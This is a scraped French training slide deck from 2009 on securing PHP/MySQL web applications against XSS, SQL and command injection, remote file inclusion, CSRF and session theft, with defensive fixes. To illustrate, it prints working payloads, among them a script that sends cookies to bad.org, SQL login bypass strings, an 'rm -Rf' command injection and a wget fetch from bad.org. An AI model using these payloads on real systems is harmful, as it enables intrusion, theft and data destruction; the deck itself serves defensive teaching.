adf 2009 - resinfocesar.resinfo.org/cours-prive/adf-012009/secu_php... · adf 2009 sécurisation...

Post on 03-Apr-2020

1 Views

Category:

Documents

0 Downloads

Preview:

Click to see full reader

TRANSCRIPT

ADF 2009 Sécurisation d’applications PHP/MySQL

Magali Contensin

contensin@ibdml.univ-mrs.fr

Plan

1. Filtrer les entrées, protéger les sorties

2. Sécurité par l’obscurité

3. XSS 3. XSS

4. Injections

5. CSRF

6. Détournement de sessions

1. Filtrer entrées / protéger sorties

� Application web� entrées : données primaires et secondaires

� sortiesfichiers

SGBDApplication

Weben-tête

corps en-tête

corps

Requête HTTP

Réponse HTTP

sessions

env.

texte ou binaire

1. Filtrer entrées / protéger sorties

� Envoi de données par GET

□ Données placées dans

- URL

- cookies

GET /voyage.php?lieu=venise HTTP/1.1Host: www.vacances.frCookie: lang=fr;id=214535E1FAUser-Agent: Firefox

en-tête

corps

Requête HTTP GET

corps vide

1. Filtrer entrées / protéger sorties

� Envoi de données par GET

□ Données placées dans

- URL

voyage.php?lieu=venise

- cookies- cookies

Cookie: lang=fr;id=214535E1FA

□Envoi provoqué par :

- action volontaire ou involontaire

- navigateur (récupération images, css, scripts, …)

- telnet port 80

1. Filtrer entrées / protéger sorties

GET /voyage.php?lieu=venise HTTP/1.1Host: www.vacances.frUser-Agent: FirefoxCookie: lang=fr;id=214535E1FA

$_GET

$_COOKIE

� Entrées d’un script PHP pour GET

$_SERVER

1. Filtrer entrées / protéger sorties

� Envoi de données par POST

□ Données placées dans

- Corps

- URL

- cookies- cookies

POST /reservation.php?id=2 HTTP/1.1Host: www.vacances.frCookie: lang=fr;id=214535E1FAUser-Agent: FirefoxContent-Type: application/x-www-form-urlencoded

Content-Length: 11

lieu=venise

Requête HTTP POST

en-tête

corps

1. Filtrer entrées / protéger sorties

� Envoi de données par POST

□ Données placées dans

- Corps lieu=venise

- URL reservation.php?id=2

- cookies Cookie: lang=fr;id=214535E1F- cookies Cookie: lang=fr;id=214535E1F

□ Envoi provoqué par :

- action volontaire ou involontaire

- telnet port 80

1. Filtrer entrées / protéger sorties

GET /voyage.php?lieu=venise HTTP/1.1Host: www.vacances.frUser-Agent: FirefoxCookie: lang=fr;id=214535E1FA

POST /reservation.php?id=25 HTTP/1.1Host: www.vacances.frUser-Agent: FirefoxCookie: lang=fr;id=214535E1FAContent-Type: application/x-www-form-urlencoded

Content-Length: 11

$_REQUEST

$_GET

$_COOKIE

$_POST

� Entrées d’un script PHP pour GET et POST

lieu=venise$_SERVER

1. Filtrer entrées / protéger sorties

GET /voyage.php?lieu=venise HTTP/1.1Host: www.vacances.frUser-Agent: FirefoxCookie: lang=fr;id=214535E1FA

POST /reservation.php?id=25 HTTP/1.1Host: www.vacances.frUser-Agent: FirefoxCookie: lang=fr;id=214535E1FAContent-Type: application/x-www-form-urlencoded

Content-Length: 11

$_REQUEST

$_GET

$_COOKIE

$_POST

� Entrées d’un script PHP pour GET et POST

lieu=venise

POST

$_SERVER

$_FILES

1. Filtrer entrées / protéger sorties

GET /voyage.php?lieu=venise HTTP/1.1Host: www.vacances.frUser-Agent: FirefoxCookie: lang=fr;id=214535E1FA

POST /reservation.php?id=25 HTTP/1.1Host: www.vacances.frUser-Agent: FirefoxCookie: lang=fr;id=214535E1FAContent-Type: application/x-www-form-urlencoded

Content-Length: 11

$_REQUEST

$_GET

$_COOKIE

$_POST

� Entrées d’un script PHP

lieu=venise

POST

$_SERVER

$_FILES

$_ENV

1. Filtrer entrées / protéger sorties

GET /voyage.php?lieu=venise HTTP/1.1Host: www.vacances.frUser-Agent: FirefoxCookie: lang=fr;id=214535E1FA

POST /reservation.php?id=25 HTTP/1.1Host: www.vacances.frUser-Agent: FirefoxCookie: lang=fr;id=214535E1FAContent-Type: application/x-www-form-urlencoded

Content-Length: 11

$_REQUEST

$_GET

$_COOKIE

$_POST

� Entrées d’un script PHP

lieu=venise

POST

fichier

données secondaires

session

$_SERVER

$_FILES

$_ENV

$_SESSION

1. Filtrer entrées / protéger sorties

� Envoi de données malveillantes

□ Modification d’un formulaire

□ Modification de la query string

□ Requête forgée (telnet port 80, TamperData)□ Requête forgée (telnet port 80, TamperData)

1. Filtrer entrées / protéger sorties

� Implications

□ méthode HTTP différente de celle attendue

□ champs en-tête HTTP modifiés (User-Agent)

□ absence d’arguments attendus□ absence d’arguments attendus

□ arguments ajoutés

= nouvelles variables si register_globals = on

□ valeurs inattendues pour des arguments

1. Filtrer entrées / protéger sorties

� Données reçues peuvent être :

□ stockées dans SGBD, fichier, session

� XSS stocké

□ utilisées pour interroger un SGBD □ utilisées pour interroger un SGBD

� SQL Injection

□ utilisées pour exécuter un programme

�Injection de commandes

Ne jamais faire confiance aux données envoyées par le client

1. Filtrer entrées / protéger sorties

� Actions à entreprendre du côté du programmeur

□ Vérifier toute entrée

� Données à vérifier$_GET, $_POST, $_COOKIE, $_REQUEST, $_FILES, $_SERVER, $_ENV et $_SESSION $_ENV et $_SESSION

� Contrôles à effectuer

- type données : intval, ctype_*, cast

- présence des données attendues

- valeurs de nombres comprises entre deux bornes

- tailleMin < taille donnée < tailleMax

- jeu de caractères

- valeur null autorisée ou non

- select, radio, … : valeur comprise dans une liste

1. Filtrer entrées / protéger sorties

� Actions à entreprendre du côté du programmeur

□ Vérifier toute entrée

� Données à vérifier$_GET, $_POST, $_COOKIE, $_REQUEST, $_FILES, $_SERVER, $_ENV et $_SESSION $_ENV et $_SESSION

� Contrôles à effectuer

� Filtrage

- liste blanche :

Indique ce qui est autorisé

- liste noire :

Indique ce qui est interdit

A éviter car plus permissif

1. Filtrer entrées / protéger sorties

� Actions à entreprendre du côté du programmeur

□ Vérifier toute entrée

□ Protéger les données passées à un interpréteur

� Injections SQL : guillemets autour de la donnée� Injections SQL : guillemets autour de la donnéemysql_real_escape_string($data)

� Injection null dans les chaînes, regexp

� Injection de commande (exec, system, …)

escapeshellarg($data), escapeshellcommand($data)

1. Filtrer entrées / protéger sorties

� Actions à entreprendre du côté du programmeur

□ Vérifier toute entrée

□ Protéger les données passées à un interpréteur

□ Protéger les opérations sur les fichiers□ Protéger les opérations sur les fichiers

(file, readfile, unlink, include, upload, …)

� Vérification du chemin realpath($chemin)

� Suppression du chemin basename($chemin)<?php // script code.php

header("Content-type:text/plain");

$fichier = basename($_GET["p"]);

readfile($fichier);

?>

http://..../code.php?p=/etc/passwd

1. Filtrer entrées / protéger sorties

� Actions à entreprendre du côté du programmeur

□ Vérifier toute entrée

□ Protéger les données passées à un interpréteur

□ Protéger les opérations sur les fichiers□ Protéger les opérations sur les fichiers

(file, readfile, unlink, include, upload, …)

� File upload

- Lire les données avec $_FILES

- Manipuler avec move_uploaded_file

- Renommer (ne pas utiliser le nom de fichier envoyé)

- Vérifier le type du fichier (interdit l’upload de scripts)

1. Filtrer entrées / protéger sorties

� Actions à entreprendre du côté du programmeur

□ Vérifier toute entrée

□ Protéger les données passées à un interpréteur

□ Protéger les opérations sur les fichiers□ Protéger les opérations sur les fichiers

□ Filtrer les sorties vers le client

� Définir le jeu de caractères de la page

<meta http-equiv="Content-Type« content="text/html; charset=UTF-8"/>

� Coder les caractères spéciaux

htmlentities, htmlspecialchars(chaine, ENT_QUOTES)

1. Filtrer entrées / protéger sorties

� Actions à entreprendre du côté du programmeur

□ Vérifier toute entrée

□ Protéger les données passées à un interpréteur

□ Protéger les opérations sur les fichiers□ Protéger les opérations sur les fichiers

□ Filtrer les sorties vers le client

□ Initialiser les variables

□ Récupérer les données par la méthode attendue

Ne pas utiliser : extract, $_REQUEST, register_globals à on

1. Filtrer entrées / protéger sorties

� Actions à entreprendre du côté administrateur

□ php.ini

� register_globals off

<?php // login.php

if (verifClient($_POST['login'], $_POST['passwd'])){

$ok = true ;

}

if ($ok){

}

?>

http://.../login.php?ok=1

1. Filtrer entrées / protéger sorties

� Actions à entreprendre du côté administrateur

□ php.ini

� register_globals off

� error_reporting E_ALL

� open_basedir arborescence_autorisee� open_basedir arborescence_autorisee

� allow_url_fopen off

� disable_functions liste_fonctions_interdites

� magic_quotes_gpc off

1. Filtrer entrées / protéger sorties

� Actions à entreprendre du côté administrateur

□ php.ini

□ fichier automatiquement inclus (auto_prepend_file) :foreach($_POST as $cle=>$val){

$_POST[$cle] = strip_tags($val);

}

□ mod_security

□ attention à AllowOverride All ou Options

autorise la modification de directives du php.ini dans un .htaccess

Plan

1. Filtrer les entrées, protéger les sorties

2. Sécurité par l’obscurité

3. XSS 3. XSS

4. Injections

5. CSRF

6. Détournement de sessions

2. Sécurité par l’obscurité

� Informations données par ApacheServerSignature

2. Sécurité par l’obscurité

� Informations données par ApacheServerTokens

HTTP/1.1 200 OKHTTP/1.1 200 OK

Date: Sat, 26 Apr 2008 22:54:37 GMT

Server: Apache/2.0.55 (Unix) PHP/4.4.2 mod_ssl/2.0.55 OpenSSL/0.9.7a

Connection: close

Content-Type: text/html

X-Powered-By: PHP/4.4.2

Connection closed by foreign host.

2. Sécurité par l’obscurité

� Informations données par PHPexpose_php

▫ réponse HTTP

200 OKConnection: closeConnection: closeDate: Sat, 26 Apr 2008 23:00:03 GMTServer: ApacheContent-Type: text/htmlX-Powered-By: PHP/4.4.2

2. Sécurité par l’obscurité

� Informations données par PHPexpose_php

▫ réponse HTTP

▫ crédits

?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000

2. Sécurité par l’obscurité

� Informations données par PHPexpose_php

▫ réponse HTTP

▫ crédits

▫ images▫ images

?=PHPE9568F34-D428-11d2-A769-00AA001ACF42

?=PHPE9568F35-D428-11d2-A769-00AA001ACF42

?=PHPE9568F36-D428-11d2-A769-00AA001ACF42

2. Sécurité par l’obscurité� Informations données par PHP

expose_php

▫ réponse HTTP

▫ crédits

▫ images

ext/standard/info.h :

#define PHP_LOGO_GUID "PHPE9568F34-D428-11d2-A769-00AA001ACF42"#define PHP_EGG_LOGO_GUID "PHPE9568F36-D428-11d2-A769-00AA001ACF42"#define ZEND_LOGO_GUID "PHPE9568F35-D428-11d2-A769-00AA001ACF42"#define PHP_CREDITS_GUID "PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000"

2. Sécurité par l’obscurité� Informations données par l’extension .php

▫ Associer une autre extension

AddType application/x-httpd-php .asp

▫ Parser .html

AddType application/x-httpd-php .htm .htmlAddType application/x-httpd-php .htm .html

▫ Application par défaut

DefaultType application/x-httpd-php

▫ Réécriture

rewriteEngine on

rewriteRule (.+).html$ $1.php [L]

2. Sécurité par l’obscurité� Cookie de session

session.name

2. Sécurité par l’obscurité� Affichage des erreurs

Warning: sort() expects parameter 1 to be array, integer given in /web/CRFB/test.php on line 7

error_reporting

display_errorsdisplay_errors

display_startup_errors

log_errors

error_log

report_memleaks

track_errors

<Directory /web/CRFB/PagesPerso/magali/testerr>AllowOverride All

</Directory>

2. Sécurité par l’obscurité� Attention aux modif. dans le .htaccess

php_flag display_errors on.htaccess php_flag display_errors onphp_value directive valeur

.htaccess

PHP_INI_PERDIR register_globals, variables_order, register_long_arrays, auto_append_files, auto_prepend_files, magic_quotes_gpc, post_max_size, upload_max_filesize, short_open_tags, asp_tags

PHP_INI_ALL

2. Sécurité par l’obscurité� Attention aux modif. dans le .htaccess

<Directory /web/CRFB/PagesPerso/magali/testerr>AllowOverride All

</Directory>

php_flag display_errors on.htaccess php_flag display_errors onphp_value upload_max_filesize 900M

.htaccess

php_admin_flag display_errors onphp_admin_value upload_max_filesize 10M

2. Sécurité par l’obscurité� Informations données par des fichiers non

protégés sur le serveur

http://www.vacances.fr/login.php~

<?php

echo "bonjour ", $_GET['nom'];

...

?>

2. Sécurité par l’obscurité� Informations données par des fichiers non

protégés sur le serveur

2. Sécurité par l’obscurité� Informations données par des fichiers non

protégés sur le serveur

2. Sécurité par l’obscurité

� Informations données par des fichiers non protégés sur le serveur

<Files ~ "^\.ht|~$">Order allow,deny RedirectMatch 404 ~$

RedirectMatch 404 \.htaccessDeny from all</Files>

RedirectMatch 404 \.htaccess

2. Sécurité par l’obscurité

� Informations données par les listings

<Directory "/web/CRFB/">Options ExecCGI Indexes

</Directory>

2. Sécurité par l’obscurité

� Informations données par les logiciels

2. Sécurité par l’obscurité

� Informations données par les logiciels▫ restreindre accès (.htaccess ou sessions)

▫ configurer pour une info minimale

▫ interdire les fonctions php (disable_functions)

php_uname, phpversion, mysql_get_server_infophp_uname, phpversion, mysql_get_server_info

2. Sécurité par l’obscurité

� Informations données par php

disable_functions = "phpinfo"

2. Sécurité par l’obscurité� Code source <?php show_source($_GET['fichier']) ?>

2. Sécurité par l’obscurité� Code source

disable_functions = "show_source, highlight_file"

open_basedir = "/web/:/tmp/"

2. Sécurité par l’obscurité� Code source

http://crfbtest.univ-mrs.fr/~magali/test.phps

# AddType application/x-httpd-php-source .phpsAddType application/x-httpd-php .php .php3 .php4 .phpsRedirectMatch 404 \.phps$

� Masquer Apache ▫ Apache 1.3 modifier httpd.h#define SERVER_BASEPRODUCT "Apache“

#define SERVER_BASEREVISION "1.3.34"

▫ Apache 2.0 modifier ap_release.h

2. Sécurité par l’obscurité

▫ Apache 2.0 modifier ap_release.h#define AP_SERVER_BASEVENDOR "Apache Software Foundation"

#define AP_SERVER_BASEPRODUCT "Apache"

#define AP_SERVER_MAJORVERSION_NUMBER 2

#define AP_SERVER_MINORVERSION_NUMBER 0

#define AP_SERVER_PATCHLEVEL_NUMBER 58

2. Sécurité par l’obscurité

User-agent: *Disallow: /cgi-bin/

� Interdire l’indexation

� fichier robots.txt

Disallow: /cgi-bin/Disallow: /docs/

2. Sécurité par l’obscurité� Interdire la mise en cache de données

dans le navigateur

� Complétion formulaires

<form action="valider.php"

method="POST">

<form action="valider.php"

AUTOCOMPLETE="off"

method="POST">

2. Sécurité par l’obscurité� Interdire la mise en cache de données

dans le navigateur

� Complétion formulaires

� Page web

� Pragma:no-cache HTTP/1.0� Pragma:no-cache HTTP/1.0

� Cache-control:no-cache HTTP/1.1

� Expires

header("Cache-Control: no-cache");

header("Pragma: no-cache");

header("Expires: Thu, 01 Jan 1970 00:00:00 GMT");

2. Sécurité par l’obscurité� Masquer les données de connexion SGBD

� httpd.conf

<Directory "/web/CRFB/PagesPerso/magali/testSIARS">

Include /home/magali/connexion.txt

</Directory>

SetEnv dbLogin "magali"

SetEnv dbPass "m2pasmag"

SetEnv dbBd "ma_base"

SetEnv dbHost "127.0.0.1"

<?php echo $_SERVER['dbLogin']; ?>

<?php system('cat /home/magali/connexion.txt'); ?>

2. Sécurité par l’obscurité� Masquer les données de connexion SGBD

� httpd.conf

� .htaccess

2. Sécurité par l’obscurité� Masquer les données de connexion SGBD

� httpd.conf

� .htaccess

� directives php� mysql.default_user� mysql.default_user

� mysql.default_password

� mysql.default_port

� mysql.default_host

get_cfg_var("mysql.default_password");

Plan

1. Filtrer les entrées, protéger les sorties

2. Sécurité par l’obscurité

3. Protection contre le XSS3. Protection contre le XSS

4. Injections

5. CSRF

6. Détournement de sessions

3. Protection contre le XSS� Attaque Stockée sur le serveur web

� XSS envoyé par le pirate

Smith<script src=http://bad.org/c.js></script>nom

john.smith@bad.orgmail Smith <scriptsrc=http://bad.org/c.js></script>

SGBD

XSS

XSS

Application Web

<?php

import_request_variables('g', 'f_');

$req = "INSERT INTO users (nom, mail)

VALUES ('$f_nom', '$f_mail')" ;

$res = mysql_query($req) or

die("Erreur");

echo "donnees inserees";

?>

Erreur 1 :

pas de vérification

des entrées

</script>

1

2

3

3. Protection contre le XSS� Attaque Stockée sur le serveur web

� l’accès à une ressource provoque l’envoi du XSS au navigateur

XSS

admin.

Application GET liste_inscrits.php1

Smith <scriptsrc=http://bad.org/c.js></script>

SGBD

Application Web

3

2

XSS

<?php

$req = "SELECT nom, mail FROM users";

$res = mysql_query($req) or die("Erreur");

while ($ligne = mysql_fetch_assoc($res)){

echo $ligne['nom']," ",$ligne['mail'],"<br>";

}

?>

Erreur 2 :

pas de protection

des sorties

Smith <script src=http://bad.org/c.js></script> john.smith@bad.org<br>

3. Protection contre le XSS� Attaque Stockée sur le serveur web

� le XSS est exécuté par le navigateur

XSS

admin.

Application GET liste_inscrits.php1

Smith <scriptsrc=http://bad.org/c.js></script>

SGBD

GET http://bad.org/c.js

document.write(‘<img src=http://bad.org/c.php?’+document.cookie+’ width=1>’)

Application Web

32XSS

c.js

4

GET http://bad.org/c.php?idsess=a2345effb9ccd78

5

vol de session idsess=a2345effb9ccd78 6

bad.org

3. Protection contre le XSS

� Actions à entreprendre□ Filtrer les entrées (par liste blanche)

éventuellement utiliser utf8_decode et strip_tags

□ Préciser le jeu de caractères

□ Protéger les sorties (htmlentities, htmlspecialchars)□ Protéger les sorties (htmlentities, htmlspecialchars)<?php

$req = "SELECT nom, mail FROM users";

$res = mysql_query($req) or die("Erreur");

while ($ligne = mysql_fetch_assoc($res)){

echo htmlentities($ligne['nom'], ENT_QUOTES),

" ",

htmlentites($ligne['mail'], ENT_QUOTES),

"<br>";

}

?>

Smith &lt;script src=http://bad.org/c.js&gt;&lt;/script&gt; john.smith@bad.org<br>

Plan

1. Filtrer les entrées, protéger les sorties

2. Sécurité par l’obscurité

3. Protection contre le XSS 3. Protection contre le XSS

4. Protection contre les Injections

5. CSRF

6. Détournement de sessions

POST http://.../cnx.php HTTP/1.0

Content-Type: application/x-www-form-urlencoded

Content-Length: 24

1

' OR 1 = 1 --

� SQL

4. Protection contre les injectionsmagic_quotes_gpc = off

login=%27+OR+1+=+1+--%20

Application Web

<?php

...

$login = $_POST['login'];

$pwd = $_POST['passwd'];

$req = "SELECT login, prenom FROM utilisateur

WHERE login='$login' AND password='$pwd'";

$result = mysql_query($req) or exit("Erreur");

if (mysql_num_rows($result) == 0){

die("erreur d'authentification ");

}

$ligne = mysql_fetch_assoc($result);

echo "bonjour ", $ligne['prenom'], " !";

?>

2

POST http://.../cnx.php HTTP/1.0

Content-Type: application/x-www-form-urlencoded

Content-Length: 24

1

' OR 1 = 1 --

� SQL

4. Protection contre les injectionsmagic_quotes_gpc = off

login=%27+OR+1+=+1+--%20

Application Web

SELECT login, prenom FROM utilisateur

WHERE login='' OR 1 = 1 -- ' AND password=''2

SGBD

� SQL

4. Protection contre les injections

POST http://.../cnx.php HTTP/1.0

Content-Type: application/x-www-form-urlencoded

Content-Length: 24

1

' OR 1 = 1 --

magic_quotes_gpc = off

+-------+------------+

| login | prenom |

+-------+------------+

| mag | Magali |

| admin | Grand chef |

+-------+------------+

SGBD

login=%27+OR+1+=+1+--%20

SELECT login, prenom FROM utilisateur

WHERE login='' OR 1 = 1 -- ' AND password=''2

bonjour Magali !

4

Application Web

3

� SQL

4. Protection contre les injections

POST http://.../cnx.php HTTP/1.0

Content-Type: application/x-www-form-urlencoded

Content-Length: 36

1

' OR 1 = 1 LIMIT 1,1 --

magic_quotes_gpc = off

+-------+------------+

| login | prenom |

+-------+------------+

| mag | Magali |

| admin | Grand chef |

+-------+------------+

3

SGBD

login=%27+OR+1+=+1+LIMIT+1%2C1+--%20

SELECT login, prenom FROM utilisateur

WHERE login='' OR 1 = 1 LIMIT 1,1 -- ' AND password=''

2

bonjour Grand chef !

4

Application Web

4. Protection contre les injections

� SQL - actions à entreprendre côté programmeur□ protéger les données avec mysql_real_escape_string

<?php

...

$login = $_POST['login'];

$pwd = $_POST['passwd'];

$req = "SELECT login, prenom FROM utilisateur

mysql_real_escape_string $login).

SELECT login, prenom FROM utilisateur WHERE login='\' OR 1 = \'1 LIMIT 1,1 -- ' AND password='';

WHERE login='" . mysql_real_escape_string($login).

"' AND password='" . mysql_real_escape_string($pwd) . "'";

$result = mysql_query($req) or exit("Erreur");

if (mysql_num_rows($result) == 0){

die("erreur d'authentification ");

}

$ligne = mysql_fetch_assoc($result);

echo "bonjour ", $ligne['prenom'], " !";

?>

' OR 1 = 1 LIMIT 1,1 --

4. Protection contre les injections

� SQL - actions à entreprendre côté programmeur□ protéger les données avec mysql_real_escape_string

□ filtrer les entrées : taille, type, ...

□ cast des nombres ou mettre des ' ' autour des nombres

$req = "UPDATE commande SET quantite = $nb WHERE ref=$ref";

?ref=21&nb=5,%20desc=LOAD%20INFILE('/etc/passwd')

UPDATE commande SET quantite=5, desc=LOAD INFILE('/etc/passwd')

WHERE ref=21

4. Protection contre les injections

� SQL - actions à entreprendre côté programmeur□ protéger les données avec mysql_real_escape_string

□ filtrer les entrées : taille, type, ...

□ cast des nombres ou mettre des ' ' autour des nombres

□ utiliser des requêtes préparées

$log = $_POST['login'];$log = $_POST['login'];

$pwd = $_POST['passwd'];

// connexion

$db = new mysqli(IP, LOGIN, PASS, DB, PORT) or die('echec');

// preparer la requete

$req = "SELECT prenom, mail FROM users WHERE login=? AND password=?";

$prep = $db->prepare($req) or die ('pb');

$prep->bind_param("ss", $log, $pwd); // lier les 2 var. de type string

$prep->execute();

$prep->bind_result($prenom, $mail); // lier les colonnes aux var.

$prep->fetch() ;

echo "bonjour ", htmlentities($prenom), " votre mail est ", htmlentities($mail);

$prep->close();

// deconnexion

$db->close();

4. Protection contre les injections

� SQL - actions à entreprendre côté admin.□ magic_quotes_gpc

□ aucun affichage d’erreur sur un serveur en production

□ privilèges restreints pour le compte mysql utilisé pour le web

□ plusieurs instances de mysql avec mysqld_multi

□ protéger les connexions entre le serveur web et le serveur SGBD□ protéger les connexions entre le serveur web et le serveur SGBD

� Commandes

/listing.php?ext=php;cd/;rm+-Rf+* ls -1 *.php;cd/;rm+-Rf+*

<?php

echo system("ls -1 *.".$_GET['ext']);

?>

listing.php

4. Protection contre les injections

/listing.php?ext=php;cd/;rm+-Rf+*

cnx.php

index.php

connectBase.php

listing.php

ls -1 *.php;cd/;rm+-Rf+*1

2

3

4

/

5

4. Protection contre les injections

� Commandes - actions à entreprendre

□ Développeur

□ Filtrer les entréesif (!ctype_alpha($ext)){

die("argument non valide");

}}

□ Protéger des méta-caractères (escapeshellcmd, escapeshellarg)

□ Administrateur

□ Désactiver si possible system, exec, shell_exec (disable_functions)

<?php

� Code (RFI – Remote File Inclusion)

3

exec

bad.txt

5

4. Protection contre les injections

bad.org

<?php

echo system('cd /tmp; ls;

wget http://bad.org/exec; ls');

?>GET bad.txt

1

2

test.php

<?php

require($_GET['p'].".php");

?>

wget http://bad.org/exec4

/tmp

test.php?p=http://bad.org/bad.txt%00

<?php

echo system('cd /tmp; ls;

wget http://bad.org/exec; ls');

?>

4. Protection contre les injections

� Code - actions à entreprendre

□ Développeur

□ Filtrer les entrées

□ Chemin : utiliser basename, realpath

□ Protéger des méta-caractères (escapeshellcmd, escapeshellarg)□ Protéger des méta-caractères (escapeshellcmd, escapeshellarg)

□ Administrateur

□ Désactiver si possible eval (disable_functions)

□ allow_url_fopen à off (allow_url_include depuis PHP 5.2.0)

□ Utiliser curl

□ Fixer le répertoire d’inclusion avec open_basedir

□ Filtrer les connexions sortantes sur le pare-feu

<?php

$fichier = basename($_GET['nom']);

readfile($fichier.".txt");

?> ?nom=nom_script.php%00

5. Protection contre les injections

� Null injection (caractère \0)

<?php<?php

if (preg_match("/[^A-Za-z]/", $_GET['chaine'])){

die('erreur');

} else{

echo 'ok';

} ?chaine=test1

?> ?chaine=%00test1

□ Actions à entreprendre

□ Filtrer les entrées (méthode liste blanche)

Plan

1. Filtrer les entrées, protéger les sorties

2. Sécurité par l’obscurité

3. XSS 3. XSS

4. Injections

5. CSRF

6. Détournement de sessions

<img

src='article.php?id=3&action=del'

width='0'>

SGBD1

5. Protection contre le CSRF

<img src='article.php?id=3&action=del'

width='0'>

Ajouter un commentaire

GET http://.../article.php?id=3&action=del

membre d’un site protégé

1

2

membre d’un site protégé

GET article.php?id=3&action=read

<img src='article.php?id=3&action=del' width='0'>

3

4

5. Protection contre le CSRF

� Actions à entreprendre

□ Majorité des attaques = méthode GET

□ Utiliser POST si mise à jour de données

□ Ne pas utiliser $_REQUEST pour récupérer les données

=> Protège contre les attaques menées par GET

□ Attaques utilisant POST

□ Forcer l’utilisation du formulaire du site (idée s’assurer que les données reçues par POST proviennent bien d’un formulaire envoyé par le site)

=> Utiliser un identifiant aléatoire pour chaque formulaire, stocké en session avec un délai de validité

Plan

1. Filtrer les entrées, protéger les sorties

2. Sécurité par l’obscurité

3. XSS 3. XSS

4. Injections

5. CSRF

6. Détournement de sessions

� Détourner une session = fournir un id valide

login=zorro&passwd=paszorro1

6. Protection contre le vol de session

login=zorro&passwd=paszorro

sessid=21000 Bonjour Zorro

sessid=21000 article=12&action=voir

1

2

3

sessid=21000 article=5&action=supprimer

� Détourner une session = fournir un id valide

� Identifiant transmis par cookie, URL, champ form.

� Attaques pour obtenir un identifiant valide

� Prédiction (id = nombre entier incrémenté)

6. Protection contre le vol de session

� Force brute

� Fixation

� Vol

o id dans l’URL (historique, bookmark, logs, envoi par mail, …)

o vol de cookie (XSS, ordinateur public)

o interception (écoute réseau)

o consultation des fichiers de session sur le serveur

6. Protection contre le vol de session

� Actions à entreprendre

□ Développeur

□ Générer un nouvel id de session après identification (session_regenerate_id)

□ Limiter la durée de validité d’une session

□ Utiliser un 2ème moyen de suivi de session (User-Agent)

□ Toujours proposer une déconnexion

□ Utiliser les identifiants de session PHP

□ Administrateur

□ session.use_only_cookies

□ SSL

□ protéger les fichiers de session (stocker dans SGBD, utiliser open_basedir)

� Top 25 Most Dangerous Programming Errors http://cwe.mitre.org/top25

� WASC (Web Application Security Consortium)

http://www.webappsec.org/projects/threat/classes_of_attack.shtml

� OWASP (Open Web Application Security Project)

Sur Internet

� OWASP (Open Web Application Security Project)

http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

http://www.owasp.org/index.php/Category:OWASP_Guide_Project

� CERTA (Centre d’Expertise Gouvernemental de Réponse

et de Traitement des Attaques Informatiques)

http://www.certa.ssi.gouv.fr

� CERT (Computer Emergency Response Team)

http://www.cert.org

top related